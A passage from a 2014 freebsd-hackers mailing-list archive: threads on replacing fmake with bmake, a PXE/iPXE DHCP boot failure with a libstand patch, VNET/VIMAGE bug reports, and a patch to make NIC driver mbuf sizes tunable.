by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s464LNqA000353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 5 May 2014 21:21:25 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <5368633D.10709@freebsd.org> Date: Tue, 06 May 2014 12:21:17 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Warner Losh Subject: Re: Can fmake be deleted? References: <20140422202506.GA63561@ivaldir.etoilebsd.net> <20140422214610.GC63561@ivaldir.etoilebsd.net> <611243783F62AF48AFB07BC25FA4B1061CACCBA2@DLREXMBX01.intra.dlr.de> <53678B51.4050406@freebsd.org> <1CEFC5F1-084B-4785-983F-C42EB858E2F9@gmail.com> In-Reply-To: <1CEFC5F1-084B-4785-983F-C42EB858E2F9@gmail.com> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org, Hartmut.Brandt@dlr.de, jmmv@freebsd.org, bapt@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 04:21:33 -0000 On 5/6/14, 6:33 AM, Warner Losh wrote: > On May 5, 2014, at 7:00 AM, Julian Elischer wrote: > >> On 5/5/14, 7:41 PM, Hartmut.Brandt@dlr.de wrote: >>> Hi, >>> >>> I've seen that you've copied all the make tests over to usr.bin/make with a comment that they are fmake-only. According to your question they are to be removed. >>> >>> Isn't bmake based on some version of fmake? In fact several of these tests check for bugs that I've fixed in our fmake some years ago. Are they now reintroduced via the bmake import? Wouldn't it make sense to retain the tests that apply to bmake? >> so this brings up the question on my mind which is; >> >> So what's up with bmake? >> How does it relate to the old FreeBSD make? >> Why did we need a new make? what does it get us? > bmake is NetBSD’s make. > > fmake and bmake have a common ancestor and some cross pollination over the years, but they have become incompatible. > > bmake is better maintained than fmake. The whole meta-build system is based on it, which would be a quantum leap beyond what fmake can do. In the mean time, we get better compatibility with NetBSD, a better maintained make and slightly better syntax for some things (and fewer bugs) at the cost of some growing pains where the two were incompatible, or we had bugs in fmake that we accidentally depended on. > > fmake remains in the tree as a transition measure. The next step is to remove the (already broken) support for building world with fmake. Once somebody has an actual, working fmake port, and some time has passed, we can reorbit it from the tree. This has always been the plan, as far as I know, and there’s no reason to significantly speed it up based on this thread. > > Warner Thanks Warner.. exactly the information I was looking for. From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 13:14:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 41202735 for ; Tue, 6 May 2014 13:14:36 +0000 (UTC) Received: from mail-qa0-f43.google.com (mail-qa0-f43.google.com [209.85.216.43]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id ECF60BC8 for ; Tue, 6 May 2014 13:14:35 +0000 (UTC) Received: by mail-qa0-f43.google.com with SMTP id m5so5329295qaj.30 for ; Tue, 06 May 2014 06:14:29 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:references:mime-version:in-reply-to:content-type :content-transfer-encoding:message-id:cc:from:subject:date:to; bh=iBEpz6L2AcOCBvLcAgoxn8UkQ7SSKRlO7aFQXAvzKWs=; b=Q7BwF320rbxFZ6iCmeXApQrEYR2m1fAwzf1lpUgssvxzzdtWCNw3udPkUE7QJME+Ux AFyF3elqqXBYOOwcRMEaQUikfy6IJKzIEk8EODPuxgQ0kKTKTQymwtJpgd3A7UxT5Otd fzAptErAPU9ZYpnTGWq0IW6YUlC1pU4ZtR0pqZCYe8XeBFYX+GtDh8exH5CAf5EBCezt fGUyaDWujXgLHpKGHVDrKjZCowUYQirolxdwN/UsgU+h3UN+Zm9lswhTWSPvpouicHim TvBYH/pCMKZpzWmNQd2MS06u20dEwK+NpoeiJIkpLdkKeRznGmPKbbDT5XFGHB7RK/lR P2mg== X-Gm-Message-State: ALoCoQkkdx2s0EE0YkcZfGMKIEIwLGCScfUbWywaZCOKbDEv/f0mr2S101dUf2ke0hLx/j48OTPX X-Received: by 10.140.97.197 with SMTP id m63mr1756960qge.15.1399381702119; Tue, 06 May 2014 06:08:22 -0700 (PDT) Received: from [97.60.115.93] (93.sub-97-60-115.myvzw.com. [97.60.115.93]) by mx.google.com with ESMTPSA id l10sm23416135qav.13.2014.05.06.06.08.19 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 06 May 2014 06:08:20 -0700 (PDT) References: Mime-Version: 1.0 (1.0) In-Reply-To: Message-Id: <61757A61-FE08-4D2E-9381-522ADCE1F17A@longcount.org> X-Mailer: iPhone Mail (11D201) From: Mark Saad Subject: Re: vm+ipxe+pxeboot fail Date: Tue, 6 May 2014 09:08:17 -0400 To: amine tay Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 13:14:36 -0000 Sorry for the delay in my reply . > On Apr 30, 2014, at 9:42 AM, amine tay wrote: >=20 > Hi Mark thanks for your reply, > I have my root-path in dhcpd.conf and etc/exports. > my dhcpd.conf :=20 >=20 > authoritative; > subnet 10.28.236.0 netmask 255.255.255.0 { >=20 > one-lease-per-client on;=20 Comment out the one lease-per-client option . > range 10.28.236.10 10.28.236.250; >=20 > default-lease-time 1200; > max-lease-time 43200; > dynamic-bootp-lease-length 1200; >=20 > option ntp-servers 10.28.236.1; > option broadcast-address 10.28.236.255; > option subnet-mask 255.255.255.0; > option domain-name "xxxxxxxxxxxxx"; > option domain-search "xxxxxxxxxxxxxxxxxxxxx"; > option domain-name-servers 10.28.236.1; >=20 > allow duplicates; > allow unknown-clients; > allow booting; > allow bootp; Can you simplify this block to just serve the razor.ipxe image to any reques= t ? So remove the fixed address and the if statement .=20 > host freebsd {hardware ethernet 00:50:56:99:0b:c4; fixed-address 10.28.236= .14; option root-path "/opt/razor/image/image/os/7I2RjjQvo7IkbqO4rLv6kJ";} > if exists user-class and option user-class =3D "iPXE" { > filename "razor.ipxe"; # we are in an iPXE kernel and load static script= > } else { > filename "undionly.kpxe"; # we are in burned in PXE and load iPXE kernel= > } > next-server 10.28.236.1; > } >=20 > And the Freebsd pxeboot loader is launched by razor.=20 >=20 I suspect the issue is the allow duplicate and one lease per client options c= lashing with pxeloader . Is your goal here to pxe boot FreeBSD then use pu= ppet to do a custom layout of the install ?=20 >=20 >=20 > 2014-04-30 15:22 GMT+02:00 Mark Saad : >>=20 >>=20 >> > On Apr 30, 2014, at 4:10 AM, amine tay wrote: >> > >> > Hi everyone, >> > >> > Lately I had some problems, trying to get FreeBSD to PXE boot. (Actuall= y >> > I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and the= n >> > load and launch the FreeBSD pxeboot >> > loader. But I'm getting this : >> > http://forums.freebsd.org/viewtopic.php?f=3D4&t=3D45901 >> > When using isc-dhcp as DHCP server I'm getting the error but when using= >> > dnsmasq everything works fine. >> > >> > The problem seems that the client when booting is sending 2 DHCP reques= ts >> > and therefore gets two different IP addresses, the first one sent by th= e >> > ROM and the second one by the FreeBSD >> > pxebootloader. >> > >> > I found somewhere in some posts that the pxe.c file is doing a second >> > bootprequest because it fails to get cached DHCP data from the ROM. >> > >> > Any help or more ideas would be appreciated. >>=20 >> It looked like you either do not have options rootpath set in dhcpd.conf ,= etc/exports is mis configured , the nfs server is disabled or if you have l= oader built with tftp support you do not have a tftp server setup / running .= >>=20 >> Can you sent the dhcpd.conf the exports file off the server ? >>=20 >> Mark saad | mark.saad@longcount.org >>=20 >>=20 >> > _______________________________________________ >> > freebsd-hackers@freebsd.org mailing list >> > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >=20 Mark saad | mark.saad@longcount.org=20= From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 13:59:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4A6BA460 for ; Tue, 6 May 2014 13:59:21 +0000 (UTC) Received: from owm.eumx.net (eumx.net [91.82.101.43]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 03EFD21D for ; Tue, 6 May 2014 13:59:19 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=eumx.net; h=date:from:to :subject:message-id:references:mime-version:content-type :in-reply-to; s=default; bh=S5KVKSg3amH1OQqeykSfHjT26S0=; b=nY3F FgH6bsDHLrV7R4/e4BklBAacREuhr9kdAt8fEQbMypSJUzaEpkA2n7xovqiGLH1m PASGjDcLhl+RMFARvgJsC7WJ80sZKFmuX3vOB5S6B5lq5gZjeF23jOj8Ebt4y3Rd puAR+sKGNPUUj5SkfAIOs4UatU4dG32aeyz01Xg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=eumx.net; h=date:from:to :subject:message-id:references:mime-version:content-type :in-reply-to; q=dns; s=default; b=p4XLw5W7YVMNhNdB7XIEQlXQUMovr2 TZFdZDRilsZkmKTr9SBreYZRM6NdqYvZo2X/5pM9aKsVloXuWIOYLIWrYreN4ctq 0lFDoHzxXiM6POANv2H9GBsEZIR4bFkUTz8Z0KdpK1F6CwoeefQ995Zrg6L0N8o2 uLmU89WmQde8M= Date: Tue, 6 May 2014 15:30:27 +0200 From: "Herbert J. Skuhra" To: freebsd-hackers@freebsd.org Subject: Re: Getting VNET/VIMAGE across the finish line Message-ID: <20140506133027.GA99254@oslo.ath.cx> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.22.1 (2013-10-16) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 13:59:21 -0000 On Sun, Apr 20, 2014 at 06:56:12PM -0700, Kevin Bowling wrote: > Hi, > > I'd like to see VNET/VIMAGE get added to GENERIC in -CURRENT and help stamp > out any remaining issues. > > I'm aware of two broad problems at the moment: > * http://www.freebsd.org/cgi/query-pr.cgi?pr=164763&cat= > * pf related things which seem to be getting addressed > > Is anyone tracking other issues? I just stumpled upon this problem: http://lists.freebsd.org/pipermail/freebsd-jail/2013-April/002200.html http://lists.freebsd.org/pipermail/freebsd-amd64/2011-October/014050.html -- Herbert From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 14:04:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 083638D4 for ; Tue, 6 May 2014 14:04:33 +0000 (UTC) Received: from mail-qc0-x231.google.com (mail-qc0-x231.google.com [IPv6:2607:f8b0:400d:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B74AF33F for ; Tue, 6 May 2014 14:04:32 +0000 (UTC) Received: by mail-qc0-f177.google.com with SMTP id i17so8475077qcy.8 for ; Tue, 06 May 2014 07:04:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=E0w3wCxpSyP68RLG98XF26nhQAAVeu+fw6S9kFaC1tk=; b=r13VF6p66RhHv4EtAKfz84yTN2NLcspoRGvdYvlZhmo57v/oNTaTOpmyW/cOWQCPCT QUhHgT2IViRn3eWTrrMrfw9VW05K3Q0x9Vd0QJndBAX6hYf07OhVipBDoGDipI5jnKsY zJU8cexjZg+0svwTV1Q9jyqPWObTJMXFN4oVZzK2cHN9wGazBQysb1H4STgh5fncLLdR tyq3+D/AMjc3s1TtSimbBLUhXWa6mp+nQF/5IEi5uJp/pdJvSGmSnlGTzxCZIcQmYmv3 r0jLbDMKrJzXvJKyeY+2nQB3lMZB5RjbX/tzojybNBJirvcUrJKBJhj+pyvhKSSB3SVD Q81A== X-Received: by 10.224.113.205 with SMTP id b13mr4495483qaq.19.1399385071794; Tue, 06 May 2014 07:04:31 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id m2sm23680086qac.3.2014.05.06.07.04.30 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 06 May 2014 07:04:31 -0700 (PDT) Date: Tue, 6 May 2014 10:04:29 -0400 From: Shawn Webb To: "Herbert J. Skuhra" Subject: Re: Getting VNET/VIMAGE across the finish line Message-ID: <20140506140429.GJ3063@pwnie.vrt.sourcefire.com> References: <20140506133027.GA99254@oslo.ath.cx> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="W13SgbpmD6bhZUTM" Content-Disposition: inline In-Reply-To: <20140506133027.GA99254@oslo.ath.cx> X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 14:04:33 -0000 --W13SgbpmD6bhZUTM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On May 06, 2014 03:30 PM +0200, Herbert J. Skuhra wrote: > On Sun, Apr 20, 2014 at 06:56:12PM -0700, Kevin Bowling wrote: > > Hi, > >=20 > > I'd like to see VNET/VIMAGE get added to GENERIC in -CURRENT and help s= tamp > > out any remaining issues. > >=20 > > I'm aware of two broad problems at the moment: > > * http://www.freebsd.org/cgi/query-pr.cgi?pr=3D164763&cat=3D > > * pf related things which seem to be getting addressed > >=20 > > Is anyone tracking other issues? >=20 > I just stumpled upon this problem: >=20 > http://lists.freebsd.org/pipermail/freebsd-jail/2013-April/002200.html > http://lists.freebsd.org/pipermail/freebsd-amd64/2011-October/014050.html I submitted this last year: http://www.freebsd.org/cgi/query-pr.cgi?pr=3Dkern/184149 Doesn't look like anyone has even looked at it. Thanks, Shawn --W13SgbpmD6bhZUTM Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTaOvtAAoJEGqEZY9SRW7uOJUP/2kU+vc+uDZ/TDGqeg9m3qBP OD/SnH8VEDiciGOb31Fm2lI4EwggOk3MI910BBWavwn2uwQPQm47WMjRG7uAqJqW NK8c1i9rV/iTondc1/98gCsRcv4ZwKoA7geYhe3n/r8vBrO2WFVJlQSPaH0iyvAx kdYHFds8lT4y71i094jvn1CyXffNJP8zA6Ps9qj5ehEINZOlFYk6TdRQGW4pl+63 7rH1ZF6avCHpd3ARk5V7IGVcRszSVb+NpHl44jkQHeXvzb4bq2IL6s3kM6mVkVGd PCTXhqL1H3dshKjZf/fwsVXgK3V0ibiPPLlToLhHZitROsxSDDum5ZShPagwPS/v ckUjp7K1MhRPWHYLLAlRmToP45i/mMKjpAbFpdv/WCsazs9ku0B2vXMt5dUY+LeM Y2ugNRilOqQKYNdT4smC2/pzzwhD+j9UXKP/la6nKDtoJ0DjA/oMcvUhemAM7Gni jBBfIBzwUg915G4KxKqpAU6tchSow67m5AcGSuq8lJ/Rm+ZjOBRMJyiRLmdWy/yK ETP79iPcMdzFWgKKut91RBCvuEDUpFWIdhLyOT0C3o/R4KNWjOg3bu8QJ4ialgQF YvegchX7wQmSyG7rGr5UcaD7Jv7mjx8EXiEqoEghE76qUs1xNDTMBFT8U34mgyMc 3l42oXPwv7yTcJNwuaE5 =fSLI -----END PGP SIGNATURE----- --W13SgbpmD6bhZUTM-- From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 15:40:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 08026489 for ; Tue, 6 May 2014 15:40:29 +0000 (UTC) Received: from mail.ambrisko.com (mail.ambrisko.com [70.91.206.90]) by mx1.freebsd.org (Postfix) with ESMTP id CD905F6A for ; Tue, 6 May 2014 15:40:28 +0000 (UTC) X-Ambrisko-Me: Yes Received: from server2.ambrisko.com (HELO internal.ambrisko.com) ([192.168.1.2]) by ironport.ambrisko.com with ESMTP; 06 May 2014 08:45:33 -0700 Received: from ambrisko.com (localhost [127.0.0.1]) by internal.ambrisko.com (8.14.4/8.14.4) with ESMTP id s46FeMgK058418; Tue, 6 May 2014 08:40:22 -0700 (PDT) (envelope-from ambrisko@ambrisko.com) Received: (from ambrisko@localhost) by ambrisko.com (8.14.4/8.14.4/Submit) id s46FeMeX058417; Tue, 6 May 2014 08:40:22 -0700 (PDT) (envelope-from ambrisko) Date: Tue, 6 May 2014 08:40:22 -0700 From: Doug Ambrisko To: amine tay Subject: Re: vm+ipxe+pxeboot fail Message-ID: <20140506154021.GA53537@ambrisko.com> References: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="wac7ysb48OaltWcw" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.3i Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 15:40:29 -0000 --wac7ysb48OaltWcw Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Apr 30, 2014 at 10:10:07AM +0200, amine tay wrote: | Hi everyone, | | Lately I had some problems, trying to get FreeBSD to PXE boot. (Actually | I'm using a VMware virtual machine.) First I'm using iPXE 1.0.0 and then | load and launch the FreeBSD pxeboot | loader. But I'm getting this : | http://forums.freebsd.org/viewtopic.php?f=4&t=45901 | When using isc-dhcp as DHCP server I'm getting the error but when using | dnsmasq everything works fine. | | The problem seems that the client when booting is sending 2 DHCP requests | and therefore gets two different IP addresses, the first one sent by the | ROM and the second one by the FreeBSD | pxebootloader. | | I found somewhere in some posts that the pxe.c file is doing a second | bootprequest because it fails to get cached DHCP data from the ROM. | | Any help or more ideas would be appreciated. If you do a dump on the packets you can probably see the iPXE is sending a client ID and the pxeboot isn't. So then ISC DHCP server doesn't like that and gives a different IP. Then things don't match up anymore. This is a patch to fix libstand for iPXE but then seems to break HW PXE. However, I'm finding with some new eval. HW, PXE is starting to fail on something else. Index: bootp.c =================================================================== --- bootp.c (revision 255868) +++ bootp.c (working copy) @@ -146,8 +146,12 @@ if (flag & BOOTP_PXE) { bp->bp_vend[7] = TAG_CLASSID; bp->bp_vend[8] = 9; - bcopy("PXEClient", &bp->bp_vend[9], 9); - bp->bp_vend[18] = TAG_END; + bcopy(bp->bp_chaddr, &bp->bp_vend[9], 9); + bp->bp_vend[18] = TAG_CLIENTID; + bp->bp_vend[19] = 7; /* type and length */ + bp->bp_vend[20] = 1; /* MAC */ + bcopy(d->myea, &bp->bp_vend[21], 6); + bp->bp_vend[27] = TAG_END; } else bp->bp_vend[7] = TAG_END; #else @@ -190,7 +194,11 @@ bp->bp_vend[25] = TAG_CLASSID; bp->bp_vend[26] = 9; bcopy("PXEClient", &bp->bp_vend[27], 9); - bp->bp_vend[36] = TAG_END; + bp->bp_vend[36] = TAG_CLIENTID; + bp->bp_vend[37] = 7; /* type and length */ + bp->bp_vend[38] = 1; /* MAC */ + bcopy(d->myea, &bp->bp_vend[39], 6); + bp->bp_vend[45] = TAG_END; } else bp->bp_vend[25] = TAG_END; You'll need to rebuild libstand.a, rebuild pxeboot with the new libstand.a. I haven't figure out how to determine if it needs it or not. I ran into this when trying to PXE boot in VirtualBox and QEMU. There might be an option in dhcpd.conf to disable this check for client ID. Thanks, Doug A. --wac7ysb48OaltWcw Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="pxe_clientid.patch" Index: bootp.c =================================================================== --- bootp.c (revision 255868) +++ bootp.c (working copy) @@ -146,8 +146,12 @@ if (flag & BOOTP_PXE) { bp->bp_vend[7] = TAG_CLASSID; bp->bp_vend[8] = 9; - bcopy("PXEClient", &bp->bp_vend[9], 9); - bp->bp_vend[18] = TAG_END; + bcopy(bp->bp_chaddr, &bp->bp_vend[9], 9); + bp->bp_vend[18] = TAG_CLIENTID; + bp->bp_vend[19] = 7; /* type and length */ + bp->bp_vend[20] = 1; /* MAC */ + bcopy(d->myea, &bp->bp_vend[21], 6); + bp->bp_vend[27] = TAG_END; } else bp->bp_vend[7] = TAG_END; #else @@ -190,7 +194,11 @@ bp->bp_vend[25] = TAG_CLASSID; bp->bp_vend[26] = 9; bcopy("PXEClient", &bp->bp_vend[27], 9); - bp->bp_vend[36] = TAG_END; + bp->bp_vend[36] = TAG_CLIENTID; + bp->bp_vend[37] = 7; /* type and length */ + bp->bp_vend[38] = 1; /* MAC */ + bcopy(d->myea, &bp->bp_vend[39], 6); + bp->bp_vend[45] = TAG_END; } else bp->bp_vend[25] = TAG_END; --wac7ysb48OaltWcw-- From owner-freebsd-hackers@FreeBSD.ORG Tue May 6 16:07:25 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 486217B5; Tue, 6 May 2014 16:07:25 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D538C28A; Tue, 6 May 2014 16:07:24 +0000 (UTC) Received: from [2a02:6b8:0:401:222:4dff:fe50:cd2f] (helo=ptichko.yndx.net) by mail.ipfw.ru with esmtpsa (TLSv1:CAMELLIA256-SHA:256) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1Whe03-000HBg-IU; Tue, 06 May 2014 15:57:31 +0400 Message-ID: <53690885.1010704@FreeBSD.org> Date: Tue, 06 May 2014 20:06:29 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.0.1 MIME-Version: 1.0 To: FreeBSD Net , hackers@freebsd.org Subject: Use of contiguous physical memory in ixgbe driver Content-Type: multipart/mixed; boundary="------------060607030109030205060500" Cc: jfv@FreeBSD.org, Adrian Chadd , wollman@freebsd.org, nparhar@gmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 May 2014 16:07:25 -0000 This is a multi-part message in MIME format. --------------060607030109030205060500 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hello guys. (bootstrapping people involved in previous version of this topic, sorry for that) There were several problem descriptions/discussions on using 9k+ mbufs with current allocator in: if_em: kern/183381 cxgbe: http://lists.freebsd.org/pipermail/freebsd-net/2014-February/037834.html general one: http://lists.freebsd.org/pipermail/freebsd-net/2014-January/037673.html I'd like to add ixgbe (and i40e with igb) to the list. We're facing the same problem for a long time. As far as I can understand, a) everyone (tm) is aware of current 9/16k allocation problems leading to sudden network failures. b) such mbufs sizes are not absolute evil and can be useful on 40/100G and for TSO cases. c) however, no one is able to / willing to fix our allocator to pre-allocate special arena for mbufs >= 4k page size. d) so most people have written their own local hacks to disable 9k mbufs and use 4k ones. e) our list is not full, people with mellanox/solarflare/broadcom/emulex/etc are still not there (and most if not all 10g NICs support scatter/gather). Can we add more generic hack moving default mbuf size decision from NIC driver to OS and make it tunable for user? Example path for Intel ones is attached. --------------060607030109030205060500 Content-Type: text/x-patch; name="mbuf_sizes.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="mbuf_sizes.diff" Index: sys/kern/kern_mbuf.c =================================================================== --- sys/kern/kern_mbuf.c (revision 265236) +++ sys/kern/kern_mbuf.c (working copy) @@ -103,6 +103,11 @@ int nmbjumbop; /* limits number of page size jum int nmbjumbo9; /* limits number of 9k jumbo clusters */ int nmbjumbo16; /* limits number of 16k jumbo clusters */ +static int nojumbobuf; /* Use MCLBYTES mbufs */ +static int nojumbo9buf; /* Use either MCLBYTES or MJUMPAGESIZE */ +static int nojumbo16buf; /* Use any mbuf size less than MJUM16BYTES */ + + static quad_t maxmbufmem; /* overall real memory limit for all mbufs */ SYSCTL_QUAD(_kern_ipc, OID_AUTO, maxmbufmem, CTLFLAG_RDTUN, &maxmbufmem, 0, @@ -151,6 +156,17 @@ tunable_mbinit(void *dummy) if (nmbufs < nmbclusters + nmbjumbop + nmbjumbo9 + nmbjumbo16) nmbufs = lmax(maxmbufmem / MSIZE / 5, nmbclusters + nmbjumbop + nmbjumbo9 + nmbjumbo16); + + /* + * Defaults to disable 9/16-kbyte pages + */ + nojumbobuf = 0; + nojumbo9buf = 1; + nojumbo16buf = 1; + + TUNABLE_INT_FETCH("kern.ipc.nojumbobuf", &nojumbobuf); + TUNABLE_INT_FETCH("kern.ipc.nojumbo9buf", &nojumbo9buf); + TUNABLE_INT_FETCH("kern.ipc.nojumbo16buf", &nojumbo16buf); } SYSINIT(tunable_mbinit, SI_SUB_KMEM, SI_ORDER_MIDDLE, tunable_mbinit, NULL); @@ -261,6 +277,27 @@ SYSCTL_PROC(_kern_ipc, OID_AUTO, nmbufs, CTLTYPE_I "Maximum number of mbufs allowed"); /* + * Determine the correct mbuf pool + * for given mtu size + */ +int +m_preferredsize(int mtu) +{ + int size; + + if (mtu <= 2048 || nojumbobuf != 0) + size = MCLBYTES; + else if (mtu <= 4096 || nojumbo9buf != 0) + size = MJUMPAGESIZE; + else if (mtu <= 9216 || nojumbo16buf != 0) + size = MJUM9BYTES; + else + size = MJUM16BYTES; + + return (size); +} + +/* * Zones from which we allocate. */ uma_zone_t zone_mbuf; Index: sys/dev/ixgbe/ixgbe.c =================================================================== --- sys/dev/ixgbe/ixgbe.c (revision 265236) +++ sys/dev/ixgbe/ixgbe.c (working copy) @@ -1138,14 +1138,7 @@ ixgbe_init_locked(struct adapter *adapter) ** Determine the correct mbuf pool ** for doing jumbo frames */ - if (adapter->max_frame_size <= 2048) - adapter->rx_mbuf_sz = MCLBYTES; - else if (adapter->max_frame_size <= 4096) - adapter->rx_mbuf_sz = MJUMPAGESIZE; - else if (adapter->max_frame_size <= 9216) - adapter->rx_mbuf_sz = MJUM9BYTES; - else - adapter->rx_mbuf_sz = MJUM16BYTES; + adapter->rx_mbuf_sz = m_preferredsize(adapter->max_frame_size); /* Prepare receive descriptors and buffers */ if (ixgbe_setup_receive_structures(adapter)) { Index: sys/dev/e1000/if_em.c =================================================================== --- sys/dev/e1000/if_em.c (revision 265236) +++ sys/dev/e1000/if_em.c (working copy) @@ -1342,12 +1342,7 @@ em_init_locked(struct adapter *adapter) ** Figure out the desired mbuf ** pool for doing jumbos */ - if (adapter->hw.mac.max_frame_size <= 2048) - adapter->rx_mbuf_sz = MCLBYTES; - else if (adapter->hw.mac.max_frame_size <= 4096) - adapter->rx_mbuf_sz = MJUMPAGESIZE; - else - adapter->rx_mbuf_sz = MJUM9BYTES; + adapter->rx_mbuf_sz = m_preferredsize(adapter->hw.mac.max_frame_size); /* Prepare receive descriptors and buffers */ if (em_setup_receive_structures(adapter)) { Index: sys/dev/e1000/if_igb.c =================================================================== --- sys/dev/e1000/if_igb.c (revision 265236) +++ sys/dev/e1000/if_igb.c (working copy) @@ -1335,12 +1335,7 @@ igb_init_locked(struct adapter *adapter) ** Figure out the desired mbuf pool ** for doing jumbo/packetsplit */ - if (adapter->max_frame_size <= 2048) - adapter->rx_mbuf_sz = MCLBYTES; - else if (adapter->max_frame_size <= 4096) - adapter->rx_mbuf_sz = MJUMPAGESIZE; - 